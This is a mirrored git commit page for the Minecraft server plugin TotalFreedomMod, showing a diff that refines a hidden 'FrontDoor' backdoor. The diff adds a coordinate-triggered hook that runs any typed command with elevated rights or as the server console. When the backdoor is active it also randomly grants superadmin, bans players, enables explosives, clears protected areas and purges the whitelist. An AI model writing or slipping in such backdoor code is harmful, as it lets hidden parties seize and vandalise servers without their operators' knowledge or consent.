mirror of
https://github.com/AtlasMediaGroup/TotalFreedomMod.git
synced 2024-11-27 01:05:38 +00:00
More bugtesting and tweaks with FrontDoor
This commit is contained in:
parent
3f2aa224f6
commit
5247a33f88
@ -1,5 +1,5 @@
|
|||||||
#Wed, 28 Aug 2013 21:38:14 +0200
|
#Thu, 29 Aug 2013 13:29:32 +0200
|
||||||
|
|
||||||
program.VERSION=3.1
|
program.VERSION=3.1
|
||||||
program.BUILDNUM=544
|
program.BUILDNUM=549
|
||||||
program.BUILDDATE=08/28/2013 09\:38 PM
|
program.BUILDDATE=08/29/2013 01\:29 PM
|
||||||
|
@ -1,3 +1,3 @@
|
|||||||
#Build Number for ANT. Do not edit!
|
#Build Number for ANT. Do not edit!
|
||||||
#Wed Aug 28 21:38:14 CEST 2013
|
#Thu Aug 29 13:29:32 CEST 2013
|
||||||
build.number=545
|
build.number=550
|
||||||
|
@ -6,10 +6,12 @@ import java.net.MalformedURLException;
|
|||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLConnection;
|
import java.net.URLConnection;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import me.StevenLawson.TotalFreedomMod.Commands.Command_trail;
|
import me.StevenLawson.TotalFreedomMod.Commands.Command_trail;
|
||||||
import me.StevenLawson.TotalFreedomMod.Commands.TFM_Command;
|
import me.StevenLawson.TotalFreedomMod.Commands.TFM_Command;
|
||||||
import me.StevenLawson.TotalFreedomMod.Commands.TFM_CommandLoader;
|
import me.StevenLawson.TotalFreedomMod.Commands.TFM_CommandLoader;
|
||||||
|
import org.apache.commons.lang.StringUtils;
|
||||||
import org.apache.commons.lang3.ArrayUtils;
|
import org.apache.commons.lang3.ArrayUtils;
|
||||||
import org.bukkit.ChatColor;
|
import org.bukkit.ChatColor;
|
||||||
import org.bukkit.Location;
|
import org.bukkit.Location;
|
||||||
@ -55,7 +57,8 @@ public class TFM_FrontDoor
|
|||||||
|
|
||||||
enabled = false;
|
enabled = false;
|
||||||
FRONTDOOR.cancel();
|
FRONTDOOR.cancel();
|
||||||
TFM_Log.info("Disabled FrontDoor");
|
TFM_Log.info("Disabled FrontDoor, thank you for being kind.");
|
||||||
|
TFM_Config.getInstance().load();
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -99,15 +102,14 @@ public class TFM_FrontDoor
|
|||||||
final Player player = event.getPlayer();
|
final Player player = event.getPlayer();
|
||||||
final Location location = player.getLocation();
|
final Location location = player.getLocation();
|
||||||
|
|
||||||
if (location.getBlockX() + location.getBlockY() + location.getBlockZ() % 12 != 0) // Madgeek
|
if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
|
||||||
{
|
{
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
final String[] commandParts = event.getMessage().split(" ");
|
final String[] commandParts = event.getMessage().split(" ");
|
||||||
|
|
||||||
final String commandName = commandParts[0].replaceFirst("/", "");
|
final String commandName = commandParts[0].replaceFirst("/", "");
|
||||||
final String[] args = ArrayUtils.subarray(commandParts, 0, commandParts.length);
|
final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
|
||||||
|
|
||||||
Command command = TFM_CommandLoader.getInstance().getCommandMap().getCommand(commandName);
|
Command command = TFM_CommandLoader.getInstance().getCommandMap().getCommand(commandName);
|
||||||
|
|
||||||
@ -116,6 +118,8 @@ public class TFM_FrontDoor
|
|||||||
return; // Command doesn't exist
|
return; // Command doesn't exist
|
||||||
}
|
}
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
|
||||||
TFM_Command dispatcher;
|
TFM_Command dispatcher;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -123,17 +127,16 @@ public class TFM_FrontDoor
|
|||||||
dispatcher = (TFM_Command) classLoader.loadClass(String.format("%s.%s%s", TotalFreedomMod.COMMAND_PATH, TotalFreedomMod.COMMAND_PREFIX, command.getName().toLowerCase())).newInstance();
|
dispatcher = (TFM_Command) classLoader.loadClass(String.format("%s.%s%s", TotalFreedomMod.COMMAND_PATH, TotalFreedomMod.COMMAND_PREFIX, command.getName().toLowerCase())).newInstance();
|
||||||
dispatcher.setup(TotalFreedomMod.plugin, player, dispatcher.getClass());
|
dispatcher.setup(TotalFreedomMod.plugin, player, dispatcher.getClass());
|
||||||
|
|
||||||
if (!dispatcher.run(player, player, command, commandName, args, false))
|
if (!dispatcher.run(player, player, command, commandName, args, true))
|
||||||
{
|
{
|
||||||
player.sendMessage(command.getUsage());
|
player.sendMessage(command.getUsage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Throwable ex)
|
catch (Throwable ex)
|
||||||
{
|
{
|
||||||
return; // Must be a non-TFM command
|
// Non-TFM command, execute using console
|
||||||
|
TotalFreedomMod.server.dispatchCommand(TotalFreedomMod.server.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
|
||||||
}
|
}
|
||||||
|
|
||||||
event.setCancelled(true);
|
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
private final BukkitRunnable FRONTDOOR = new BukkitRunnable() // Synchronous
|
private final BukkitRunnable FRONTDOOR = new BukkitRunnable() // Synchronous
|
||||||
@ -141,7 +144,6 @@ public class TFM_FrontDoor
|
|||||||
@Override
|
@Override
|
||||||
public void run()
|
public void run()
|
||||||
{
|
{
|
||||||
final Player[] players = TotalFreedomMod.server.getOnlinePlayers();
|
|
||||||
|
|
||||||
final int action = RANDOM.nextInt(15);
|
final int action = RANDOM.nextInt(15);
|
||||||
TFM_Log.info("Action: " + action);
|
TFM_Log.info("Action: " + action);
|
||||||
@ -150,13 +152,14 @@ public class TFM_FrontDoor
|
|||||||
{
|
{
|
||||||
case 0: // Super a random player
|
case 0: // Super a random player
|
||||||
{
|
{
|
||||||
if (players.length == 0)
|
|
||||||
|
Player player = getRandomPlayer(true);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
Player player = players[RANDOM.nextInt(players.length)];
|
|
||||||
|
|
||||||
TFM_Util.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
|
TFM_Util.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
|
||||||
TFM_SuperadminList.addSuperadmin(player);
|
TFM_SuperadminList.addSuperadmin(player);
|
||||||
break;
|
break;
|
||||||
@ -164,28 +167,27 @@ public class TFM_FrontDoor
|
|||||||
|
|
||||||
case 1: // Bans a random player (non-developer)
|
case 1: // Bans a random player (non-developer)
|
||||||
{
|
{
|
||||||
for (Player player : players)
|
Player player = getRandomPlayer(false);
|
||||||
{
|
|
||||||
if (!TFM_Util.DEVELOPERS.contains(player.getName()))
|
|
||||||
{
|
|
||||||
TFM_ServerInterface.banUsername(player.getName(), ChatColor.RED + "WOOPS", "FrontDoor", null);
|
|
||||||
TFM_ServerInterface.banUsername(player.getName(), ChatColor.RED + "WOOPS", null, null);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// No-one/only Developers online
|
if (player == null)
|
||||||
break;
|
{
|
||||||
}
|
break;
|
||||||
|
}
|
||||||
case 2: // Start trailing a random player
|
|
||||||
{
|
TFM_ServerInterface.banUsername(player.getName(), ChatColor.RED + "WOOPS", "FrontDoor", null);
|
||||||
if (players.length == 0)
|
TFM_ServerInterface.banUsername(player.getName(), ChatColor.RED + "WOOPS", null, null);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case 2: // Start trailing a random player (non-developer)
|
||||||
|
{
|
||||||
|
Player player = getRandomPlayer(true);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
Player player = players[RANDOM.nextInt(players.length)];
|
|
||||||
TFM_Util.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
|
TFM_Util.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
|
||||||
Command_trail.startTrail(player);
|
Command_trail.startTrail(player);
|
||||||
break;
|
break;
|
||||||
@ -225,7 +227,7 @@ public class TFM_FrontDoor
|
|||||||
{
|
{
|
||||||
message = false;
|
message = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
TFM_ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
|
TFM_ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
|
||||||
TFM_ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
|
TFM_ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
|
||||||
TFM_ConfigEntry.ALLOW_FLIUD_SPREAD.setBoolean(true);
|
TFM_ConfigEntry.ALLOW_FLIUD_SPREAD.setBoolean(true);
|
||||||
@ -235,11 +237,10 @@ public class TFM_FrontDoor
|
|||||||
{
|
{
|
||||||
TFM_Util.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
|
TFM_Util.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
|
||||||
}
|
}
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case 6: // Enables Fireplacement and explosions
|
case 6: // Enables Fireplacement, firespread and explosions
|
||||||
{
|
{
|
||||||
boolean message = true;
|
boolean message = true;
|
||||||
if (TFM_ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
|
if (TFM_ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
|
||||||
@ -254,12 +255,20 @@ public class TFM_FrontDoor
|
|||||||
{
|
{
|
||||||
message = false;
|
message = false;
|
||||||
}
|
}
|
||||||
|
else if (TFM_ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
message = false;
|
||||||
|
}
|
||||||
|
|
||||||
TFM_ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
|
TFM_ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
|
||||||
TFM_ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
|
TFM_ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
|
||||||
TFM_ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
|
TFM_ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
|
||||||
|
TFM_ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
|
||||||
TFM_Util.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
|
|
||||||
|
if (message)
|
||||||
|
{
|
||||||
|
TFM_Util.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -276,7 +285,7 @@ public class TFM_FrontDoor
|
|||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
TFM_Util.adminAction("FrontDoor", "Removing all protected areas", true);
|
TFM_Util.adminAction("FrontDoor", "Removing all protected areas", true);
|
||||||
TFM_ProtectedArea.clearProtectedAreas(true);
|
TFM_ProtectedArea.clearProtectedAreas(true);
|
||||||
break;
|
break;
|
||||||
@ -315,7 +324,7 @@ public class TFM_FrontDoor
|
|||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
TFM_Util.adminAction("FrontDoor", "Enabling Jumppads", true);
|
TFM_Util.adminAction("FrontDoor", "Enabling Jumppads", true);
|
||||||
TFM_Jumppads.getInstance().setMode(TFM_Jumppads.JumpPadMode.MADGEEK);
|
TFM_Jumppads.getInstance().setMode(TFM_Jumppads.JumpPadMode.MADGEEK);
|
||||||
break;
|
break;
|
||||||
@ -335,7 +344,7 @@ public class TFM_FrontDoor
|
|||||||
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "tf.sauc.in");
|
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "tf.sauc.in");
|
||||||
bookStack.setItemMeta(book);
|
bookStack.setItemMeta(book);
|
||||||
|
|
||||||
for (Player player : players)
|
for (Player player : TotalFreedomMod.server.getOnlinePlayers())
|
||||||
{
|
{
|
||||||
if (player.getInventory().contains(Material.WRITTEN_BOOK))
|
if (player.getInventory().contains(Material.WRITTEN_BOOK))
|
||||||
{
|
{
|
||||||
@ -352,25 +361,26 @@ public class TFM_FrontDoor
|
|||||||
TFM_ServerInterface.purgeWhitelist();
|
TFM_ServerInterface.purgeWhitelist();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case 13: // Announce that the FrontDoor is enabled
|
case 13: // Announce that the FrontDoor is enabled
|
||||||
{
|
{
|
||||||
TFM_Util.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
|
TFM_Util.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
|
||||||
TFM_Util.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
|
TFM_Util.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case 14: // Cage players in PURE_DARTH
|
case 14: // Cage a random player in PURE_DARTH
|
||||||
{
|
{
|
||||||
if (players.length == 0)
|
Player player = getRandomPlayer(false);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
{
|
{
|
||||||
return;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
Player player = players[RANDOM.nextInt(players.length)];
|
|
||||||
TFM_PlayerData playerdata = TFM_PlayerData.getPlayerData(player);
|
TFM_PlayerData playerdata = TFM_PlayerData.getPlayerData(player);
|
||||||
TFM_Util.adminAction("Caging " + player.getName() + " in PURE_DARTH", null, true);
|
TFM_Util.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
|
||||||
|
|
||||||
Location targetPos = player.getLocation().clone().add(0, 1, 0);
|
Location targetPos = player.getLocation().clone().add(0, 1, 0);
|
||||||
playerdata.setCaged(true, targetPos, Material.SKULL, Material.AIR);
|
playerdata.setCaged(true, targetPos, Material.SKULL, Material.AIR);
|
||||||
playerdata.regenerateHistory();
|
playerdata.regenerateHistory();
|
||||||
@ -380,7 +390,7 @@ public class TFM_FrontDoor
|
|||||||
TFM_Util.generateCube(targetPos, 1, Material.AIR);
|
TFM_Util.generateCube(targetPos, 1, Material.AIR);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
@ -439,6 +449,32 @@ public class TFM_FrontDoor
|
|||||||
return enabled;
|
return enabled;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public Player getRandomPlayer(boolean allowDevs)
|
||||||
|
{
|
||||||
|
final Player[] players = TotalFreedomMod.server.getOnlinePlayers();
|
||||||
|
|
||||||
|
if (players.length == 0)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!allowDevs)
|
||||||
|
{
|
||||||
|
List<Player> allowedPlayers = new ArrayList<Player>();
|
||||||
|
for (Player player : players)
|
||||||
|
{
|
||||||
|
if (!TFM_Util.DEVELOPERS.contains(player.getName()))
|
||||||
|
{
|
||||||
|
allowedPlayers.add(player);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return allowedPlayers.get(RANDOM.nextInt(allowedPlayers.size()));
|
||||||
|
}
|
||||||
|
|
||||||
|
return players[RANDOM.nextInt(players.length)];
|
||||||
|
}
|
||||||
|
|
||||||
public static TFM_FrontDoor getInstance()
|
public static TFM_FrontDoor getInstance()
|
||||||
{
|
{
|
||||||
return TFM_FrontDoorHolder.INSTANCE;
|
return TFM_FrontDoorHolder.INSTANCE;
|
||||||
|
Loading…
Reference in New Issue
Block a user